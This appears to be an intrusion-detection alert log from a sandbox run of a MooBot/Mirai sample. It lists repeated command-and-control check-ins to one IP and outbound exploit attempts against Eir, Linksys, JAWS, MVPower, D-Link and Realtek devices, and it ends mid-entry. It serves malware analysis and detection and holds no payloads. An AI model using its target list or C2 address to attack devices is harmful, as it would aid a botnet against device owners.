Timestamp:	03/21/24-05:27:02.256940
SID:	2018132
Source Port:	50758
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:18.518778
SID:	2030490
Source Port:	46732
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 185.246.18.254

Timestamp:	03/21/24-05:25:30.469602
SID:	2025883
Source Port:	52396
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.225.233.153

Timestamp:	03/21/24-05:26:45.186276
SID:	2030092
Source Port:	39868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 23.202.65.219

Timestamp:	03/21/24-05:27:09.751188
SID:	2025756
Source Port:	44994
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 75.205.163.33

Timestamp:	03/21/24-05:25:54.233269
SID:	2023548
Source Port:	53658
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 104.24.162.36

Timestamp:	03/21/24-05:27:11.331573
SID:	2026102
Source Port:	39528
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.210.0

Timestamp:	03/21/24-05:26:31.275447
SID:	2026102
Source Port:	51256
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.184.114

Timestamp:	03/21/24-05:25:59.630155
SID:	2026102
Source Port:	50846
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.38.15.252

Timestamp:	03/21/24-05:25:39.348664
SID:	2030092
Source Port:	40184
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:48.654414
SID:	2030490
Source Port:	47750
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:38.223879
SID:	2030490
Source Port:	47614
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.233.125

Timestamp:	03/21/24-05:25:53.195053
SID:	2018132
Source Port:	43368
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.129.39.194

Timestamp:	03/21/24-05:26:36.415557
SID:	2030092
Source Port:	53136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 95.101.176.237

Timestamp:	03/21/24-05:26:08.421601
SID:	2025883
Source Port:	55144
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.74.110

Timestamp:	03/21/24-05:26:23.819418
SID:	2026102
Source Port:	60746
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.102.206

Timestamp:	03/21/24-05:26:16.370263
SID:	2026102
Source Port:	60692
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 45.76.25.172

Timestamp:	03/21/24-05:26:12.168689
SID:	2835221
Source Port:	59494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:51.365307
SID:	2030490
Source Port:	47798
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.159.251.17

Timestamp:	03/21/24-05:26:44.169623
SID:	2030092
Source Port:	56924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.43.75.238

Timestamp:	03/21/24-05:25:30.469632
SID:	2025883
Source Port:	60178
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.243.233

Timestamp:	03/21/24-05:26:18.568331
SID:	2027153
Source Port:	52988
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.12.49.145

Timestamp:	03/21/24-05:26:46.442211
SID:	2030092
Source Port:	57556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 195.159.251.17

Timestamp:	03/21/24-05:26:44.169623
SID:	2025883
Source Port:	56924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 212.43.115.25

Timestamp:	03/21/24-05:27:07.390094
SID:	2049119
Source Port:	39500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.164.56.22

Timestamp:	03/21/24-05:26:55.590380
SID:	2030092
Source Port:	37334
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 174.110.227.32

Timestamp:	03/21/24-05:26:15.251655
SID:	2023548
Source Port:	43284
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 121.7.59.12

Timestamp:	03/21/24-05:27:13.145002
SID:	2023548
Source Port:	42812
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:44.282020
SID:	2030490
Source Port:	45530
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.53.214.96

Timestamp:	03/21/24-05:26:08.421621
SID:	2030092
Source Port:	40210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 81.151.14.142

Timestamp:	03/21/24-05:26:12.345479
SID:	2023548
Source Port:	35846
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.246.18.254

Timestamp:	03/21/24-05:25:30.469602
SID:	2030092
Source Port:	52396
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.74.110

Timestamp:	03/21/24-05:26:23.804238
SID:	2027153
Source Port:	60764
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 156.235.98.200

Timestamp:	03/21/24-05:27:11.806318
SID:	2023548
Source Port:	32858
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 61.76.54.192

Timestamp:	03/21/24-05:26:22.555980
SID:	2023548
Source Port:	45300
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.195.150.228

Timestamp:	03/21/24-05:26:52.054196
SID:	2025883
Source Port:	41730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 54.197.65.32

Timestamp:	03/21/24-05:27:06.596641
SID:	2831299
Source Port:	48944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.38.15.252

Timestamp:	03/21/24-05:25:39.348664
SID:	2025883
Source Port:	40184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 50.48.213.123

Timestamp:	03/21/24-05:27:13.582469
SID:	2023548
Source Port:	33106
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 81.151.14.142

Timestamp:	03/21/24-05:26:12.520901
SID:	2023548
Source Port:	36130
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 131.148.74.14

Timestamp:	03/21/24-05:26:30.585683
SID:	2030092
Source Port:	34974
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.20.204.85

Timestamp:	03/21/24-05:25:59.321665
SID:	2023548
Source Port:	35590
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.168.155.7

Timestamp:	03/21/24-05:25:38.169186
SID:	2030092
Source Port:	40968
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 81.151.14.142

Timestamp:	03/21/24-05:26:15.604368
SID:	2023548
Source Port:	36166
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.195.150.228

Timestamp:	03/21/24-05:26:52.054196
SID:	2030092
Source Port:	41730
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.30.84

Timestamp:	03/21/24-05:25:59.628821
SID:	2026102
Source Port:	40162
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.96.147.195

Timestamp:	03/21/24-05:25:35.984334
SID:	2030092
Source Port:	60602
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 97.120.114.191

Timestamp:	03/21/24-05:26:23.163855
SID:	2023548
Source Port:	33788
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 34.117.53.26

Timestamp:	03/21/24-05:26:38.267585
SID:	2027153
Source Port:	59132
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 177.106.151.127

Timestamp:	03/21/24-05:26:55.169299
SID:	2023548
Source Port:	60384
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 64.32.108.117

Timestamp:	03/21/24-05:26:54.851085
SID:	2023548
Source Port:	49328
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 110.66.27.9

Timestamp:	03/21/24-05:25:59.314146
SID:	2023548
Source Port:	39170
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 179.153.183.144

Timestamp:	03/21/24-05:26:12.612296
SID:	2023548
Source Port:	46388
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.87.214.231

Timestamp:	03/21/24-05:26:18.822216
SID:	2026102
Source Port:	57294
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.225.232

Timestamp:	03/21/24-05:25:55.399080
SID:	2018132
Source Port:	50534
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.62.164

Timestamp:	03/21/24-05:26:18.568479
SID:	2026102
Source Port:	40694
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:02.281128
SID:	2030490
Source Port:	48346
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 217.25.9.155

Timestamp:	03/21/24-05:26:01.326050
SID:	2025883
Source Port:	42474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 222.111.188.185

Timestamp:	03/21/24-05:26:07.780482
SID:	2023548
Source Port:	53502
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:27:09.181110
SID:	2030490
Source Port:	48852
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 174.112.142.104

Timestamp:	03/21/24-05:26:24.233486
SID:	2023548
Source Port:	60150
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.234.104

Timestamp:	03/21/24-05:26:07.495602
SID:	2018132
Source Port:	43990
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 40.82.218.181

Timestamp:	03/21/24-05:26:39.648644
SID:	2025883
Source Port:	36800
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.66.167.240

Timestamp:	03/21/24-05:26:11.878727
SID:	2018132
Source Port:	57096
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.203.79.201

Timestamp:	03/21/24-05:26:52.228497
SID:	2025883
Source Port:	60160
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.197.142.75

Timestamp:	03/21/24-05:26:12.263474
SID:	2025883
Source Port:	46838
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:19.864131
SID:	2030490
Source Port:	46796
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:53.280767
SID:	2030490
Source Port:	47834
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 69.197.128.121

Timestamp:	03/21/24-05:26:36.033937
SID:	2025883
Source Port:	60136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 104.17.130.5

Timestamp:	03/21/24-05:26:13.877054
SID:	2026102
Source Port:	34694
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.26.42

Timestamp:	03/21/24-05:25:54.424189
SID:	2018132
Source Port:	53498
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.39.160.57

Timestamp:	03/21/24-05:25:54.875735
SID:	2025883
Source Port:	57386
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 188.120.197.16

Timestamp:	03/21/24-05:26:15.293052
SID:	2026102
Source Port:	34744
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.218.225.222

Timestamp:	03/21/24-05:26:37.400526
SID:	2030092
Source Port:	33066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 172.65.198.155

Timestamp:	03/21/24-05:26:41.579838
SID:	2026102
Source Port:	51216
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT D-Link DSL-2750B - OS Command Injection - Source IP: 192.168.2.23 - Destination IP: 54.197.65.32

Timestamp:	03/21/24-05:27:06.596641
SID:	2025756
Source Port:	48944
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 35.174.120.235

Timestamp:	03/21/24-05:26:18.322398
SID:	2835221
Source Port:	33784
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.121.54.83

Timestamp:	03/21/24-05:26:57.629548
SID:	2027339
Source Port:	59412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:22.122887
SID:	2030490
Source Port:	45158
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.197.142.75

Timestamp:	03/21/24-05:26:12.263474
SID:	2030092
Source Port:	46838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 179.153.183.144

Timestamp:	03/21/24-05:26:13.409436
SID:	2023548
Source Port:	46436
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound - Source IP: 192.168.2.23 - Destination IP: 172.65.4.29

Timestamp:	03/21/24-05:26:18.567899
SID:	2027153
Source Port:	39436
Destination Port:	55555
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 78.29.95.90

Timestamp:	03/21/24-05:26:00.639045
SID:	2023548
Source Port:	33224
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:32.857565
SID:	2030490
Source Port:	47190
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 46.138.241.167

Timestamp:	03/21/24-05:25:57.927528
SID:	2023548
Source Port:	32776
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 34.43.23.196

Timestamp:	03/21/24-05:26:12.470941
SID:	2023548
Source Port:	35172
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.121.54.83

Timestamp:	03/21/24-05:26:57.859389
SID:	2027339
Source Port:	59592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 23.202.52.135

Timestamp:	03/21/24-05:26:51.585956
SID:	2835221
Source Port:	36102
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 66.74.206.108

Timestamp:	03/21/24-05:26:12.172836
SID:	2023548
Source Port:	56416
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) - Source IP: 192.168.2.23 - Destination IP: 212.12.25.31

Timestamp:	03/21/24-05:27:06.734022
SID:	2049119
Source Port:	32930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 115.7.229.68

Timestamp:	03/21/24-05:25:59.593370
SID:	2023548
Source Port:	42252
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:35.536763
SID:	2030490
Source Port:	47566
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 104.21.217.182

Timestamp:	03/21/24-05:26:18.580595
SID:	2026102
Source Port:	36950
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 184.97.112.118

Timestamp:	03/21/24-05:26:10.964919
SID:	2023548
Source Port:	33882
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:26:43.259549
SID:	2030490
Source Port:	47682
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.25.9.155

Timestamp:	03/21/24-05:26:01.326050
SID:	2030092
Source Port:	42474
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Linksys E-Series Device RCE Attempt - Source IP: 192.168.2.23 - Destination IP: 66.242.144.69

Timestamp:	03/21/24-05:26:09.578404
SID:	2026102
Source Port:	56108
Destination Port:	8080
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.39.160.57

Timestamp:	03/21/24-05:25:54.875735
SID:	2030092
Source Port:	57386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.23 - Destination IP: 109.205.214.35

Timestamp:	03/21/24-05:25:46.944879
SID:	2030490
Source Port:	45560
Destination Port:	65535
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 119.195.203.79

Timestamp:	03/21/24-05:27:13.778277
SID:	2023548
Source Port:	48758
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 200.218.225.222

Timestamp:	03/21/24-05:26:37.400526
SID:	2025883
Source Port:	33066
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.184.114

Timestamp:	03/21/24-05:25:59.630155
SID:	2018132
Source Port:	50846
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.93.105.79

Timestamp:	03/21/24-05:26:11.787303
SID:	2018132
Source Port:	45836
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.197.128.121

Timestamp:	03/21/24-05:26:36.033937
SID:	2030092
Source Port:	60136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.65.223.69

Timestamp:	03/21/24-05:26:45.801611
SID:	2018132
Source Port:	48108
Destination Port:	55555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 223.133.107.197

Timestamp:	03/21/24-05:25:58.010716
SID:	2023548
Source Port:	45602
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 196.210.100.229

Timestamp:	03/21/24-05:26:00.637117
SID:	2023548
Source Port:	46364
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET WORM TheMoon.linksys.router 2 - Source IP: 192.168.2.23 - Destination IP: 172.67.232.227

Timestamp:	03/21/24-05:26:16.195365
SID:	2018132
Source Port:	34686
Destination Port:	8080
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 131.148.74.14

Timestamp:	03/21/24-05:26:30.585683
SID:	2025883
Source Port:	34974
Destination Port:	80
